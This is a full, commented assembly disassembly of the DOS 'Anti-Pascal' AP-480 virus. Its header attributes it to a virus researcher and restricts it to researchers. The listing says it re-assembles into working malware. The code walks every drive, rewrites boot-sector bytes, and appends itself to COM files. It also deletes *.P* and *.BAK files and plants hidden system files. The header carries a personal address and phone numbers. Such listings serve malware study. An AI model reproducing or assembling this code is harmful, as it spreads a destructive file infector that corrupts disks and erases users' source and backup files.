home *** CD-ROM | disk | FTP | other *** search
- page ,132
- name AP480
- title The 'Anti-Pascal' virus, version AP-480
- .radix 16
-
- ; ╔══════════════════════════════════════════════════════════════════════════╗
- ; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
- ; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║
- ; ║ ║
- ; ║ The 'Anti-Pascal' Virus, version AP-480 ║
- ; ║ Disassembled by Vesselin Bontchev, June 1990 ║
- ; ║ ║
- ; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║
- ; ║ ║
- ; ║ This listing is only to be made available to virus researchers ║
- ; ║ or software writers on a need-to-know basis. ║
- ; ╚══════════════════════════════════════════════════════════════════════════╝
-
- ; The disassembly has been tested by re-assembly using MASM 5.0.
-
- code segment
- assume cs:code, ds:code
-
- org 100
-
- v_const = 2042d
-
- start:
- jmp v_entry
- db 0CA ; Virus signature
-
- db (2048d - 9) dup (90)
-
- mov ax,4C00
- int 21
-
- v_start label byte
- first4 db 0E9, 0F8, 7, 90
- allcom db '*.COM', 0
-
- mydta label byte
- reserve db 15 dup (?)
- attrib db ?
- time dw ?
- date dw ?
- fsize dd ?
- namez db 14d dup (?)
-
- allp db 0, '????????P??'
- allbak db 0, '????????BAK'
- maxdrv db ?
-
- v_entry:
- push ax ; Save AX & DX
- push dx
-
- mov ah,19 ; Get the default drive
- int 21
- push ax ; Save it on stack
- mov ah,0E ; Set it as default (?!)
- mov dl,al
- int 21 ; Do it
-
- call self ; Determine the virus' start address
- self:
- pop si
- sub si,offset self-v_const
-
- ; Save the number of logical drives in the system:
-
- mov byte ptr [si+offset maxdrv-v_const],al
-
- ; Restore the first 4 bytes of the infected program:
-
- mov ax,[si+offset first4-v_const]
- mov word ptr ds:[offset start],ax
- mov ax,[si+offset first4+2-v_const]
- mov word ptr ds:[offset start+2],ax
-
- mov ah,1A ; Set new DTA
- lea dx,[si+offset mydta-v_const]
- int 21 ; Do it
-
- pop ax ; Restore current drive in AL
- push ax ; Keep it on stack
-
- call inf_drive ; Proceed with the current drive
-
- xor al,al ; For all logical drives in the system
- drv_lp:
- call inf_drive ; Proceed with drive
- jbe drv_lp ; Loop until no more drives
-
- pop ax ; Restore the saved current drive
- mov ah,0E ; Set it as current drive
- mov dl,al
- int 21 ; Do it
-
- mov dx,80 ; Restore original DTA
- mov ah,1A
- int 21 ; Do it
-
- mov si,offset start
- pop dx ; Restore DX & AX
- pop ax
- jmp si ; Run the original program
-
- inf_drive:
- push ax ; Save the selected drive number on stack
- mov ah,0E ; Select that drive
- mov dl,al
- int 21 ; Do ti
- pop ax ; Restore AX
-
- push ax ; Save the registers used
- push bx
- push cx
- push si ; Save SI
-
- mov cx,1 ; Read the boot sector of the drive specified
- xor dx,dx
- lea bx,[si+offset v_end-v_const]
- push ax ; Save AX
- push bx ; Save BX, CX & DX also
- push cx
- push dx
- int 25 ; Do read
- pop dx ; Clear the stack
- pop dx ; Restore saved DX, CX & BX
- pop cx
- pop bx
- jc bad_drv ; Exit on error
-
- inc byte ptr [bx] ; Increment the first byte (?!)
- cmp byte ptr [bx+1],6F ; Second byte == 111 (?!)
- jne wr_drive ; Write the new values if not
-
- bad_drv:
- pop ax ; Restore AX
- pop si ; Restore SI
- drv_xit:
- pop cx ; Restore used registers
- pop bx
- pop ax
-
- inc al ; Go to next drive number
- cmp al,[si+offset maxdrv-v_const] ; See if there are more drives
- ret ; Exit
-
- wr_drive:
- pop ax ; Restore drive number in AL
- int 26 ; Do write
- pop ax ; Clear the stack
- pop si ; Restore Si
- jc drv_xit ; Exit on error
-
- ; Find first COM file on the current directory of the selected drive:
-
- mov ah,4E
- xor cx,cx ; Normal files only
- lea dx,[si+offset allcom-v_const] ; File mask
- next:
- int 21 ; Do find
- jc no_more ; Quit search if no more such files
- lea dx,[si+offset namez-v_const] ; Get file name found
- call infect ; Infect that file
- mov ah,4F ; Prepare for FindNext
- jc next ; If infection not successful, go to next file
- jmp drv_xit ; Otherwise quit
-
- no_more:
- lea di,[si+offset v_end-v_const]
- cmp byte ptr [di],80
- jb drv_xit
-
- ; Form the current directory path at v_end:
-
- mov al,'\' ; '\' for the root
- stosb ; Put that character
- xchg si,di ; Save DI
-
- mov ah,47 ; Get current directory
- xor dl,dl ; of the default drive and put it there too
- int 21 ; Do it
-
- xchg si,di ; Restore DI
- xor al,al ; Go to the end of paht (?!)
- mov cx,64d
- repne scasb ; Do it
- dec di ; Go to the previous byte
-
- mov ah,13 ; Delete all *.P* files in that dir
- lea dx,[si+offset allp-v_const]
- int 21 ; Do it
- cmp al,-1
- je drv_xit ; Exit on error
-
- mov ah,13 ; Delete all *.BAK files too
- lea dx,[si+offset allbak-v_const]
- int 21 ; Do it
-
- mov cx,20d ; Create 20 temporary files (?!)
- mov ah,5A
- lea dx,[si+offset v_end-v_const]
-
- creat_lp:
- push cx ; Save registers used
- push ax
- push dx
- mov byte ptr [di],0
- mov cx,7 ; With ReadOnly, Hidden and System attributes
- int 21 ; Do it
-
- pop dx ; Save used registers
- pop ax
- pop cx
- loop creat_lp ; Loop until done
-
- jmp drv_xit ; Done. Exit
-
- namaddr dw ? ; Address of the file name buffer
-
- infect:
- mov [si+offset namaddr-v_const],dx ; Save file name address
-
- mov ax,4301 ; Reset all file attributes
- xor cx,cx
- int 21 ; Do it
- jnc inf_cont ; Continue if all OK
- inf_xit:
- ret ; Otherwise exit
-
- inf_cont:
- mov ax,3D02 ; Open file for both reading and writing
- int 21
- jc inf_xit ; Exit on arror
- mov bx,ax ; Save file handle in BX
-
- mov cx,4 ; Read the first 4 bytes of the file
- mov ah,3F
- lea di,[si+offset first4-v_const] ; Save them in first4
- mov dx,di
- int 21 ; Do it
- jc quit ; Exit on error
-
- cmp byte ptr [di+3],0CA ; File already infected?
- stc ; Set CF to indicate it
- jz quit ; Don't touch this file if so
-
- mov cx,[si+offset fsize-v_const]
- cmp cx,2048d ; Check if file size >= 2048 bytes
- jb quit ; Exit if not
- cmp cx,64000d ; Check if file size <= 64000 bytes
- stc ; Set CF to indicate it
- ja quit ; Exit if not
-
- xor cx,cx ; Seek to file end
- xor dx,dx
- mov ax,4202
- int 21 ; Do it
- push ax ; Save file size on stack
- jc quit ; Exit on error
-
- ; Write the virus body after the end of file:
-
- mov cx,v_end-v_start
- nop
- lea dx,[si+offset v_start-v_const]
- mov ah,40
- int 21 ; Do it
- jc quit ; Exit on error
- pop ax ; Restore file size in AX
-
- ; Form a new address for the first JMP instruction in AX:
-
- add ax,v_entry-v_start-3
- mov byte ptr [di],0E9 ; JMP opcode
- mov [di+1],ax
- mov byte ptr [di+3],0CA ; Set the "file infected" sign
-
- xor cx,cx ; Seek to file beginning
- xor dx,dx
- mov ax,4200
- int 21 ; Do it
- jc quit ; Exit on error
-
- mov cx,4 ; Write the new first 4 bytes of the file
- mov dx,di
- mov ah,40
- int 21 ; Do it
-
- quit:
- pushf ; Save flags
-
- mov ax,5701 ; Set file date & time
- mov cx,[si+offset time-v_const] ; Get time from mydta
- mov dx,[si+offset date-v_const] ; Get date from mydta
- int 21 ; Do it
-
- mov ah,3E ; Close the file
- int 21
-
- mov ax,4301 ; Set file attributes
- mov cl,[si+offset attrib-v_const] ; Get them from mydta
- xor ch,ch
- mov dx,[si+offset namaddr-v_const] ; Point to file name
- int 21 ; Do it
-
- popf ; Restore flags
- ret
-
- v_end equ $
-
- code ends
- end start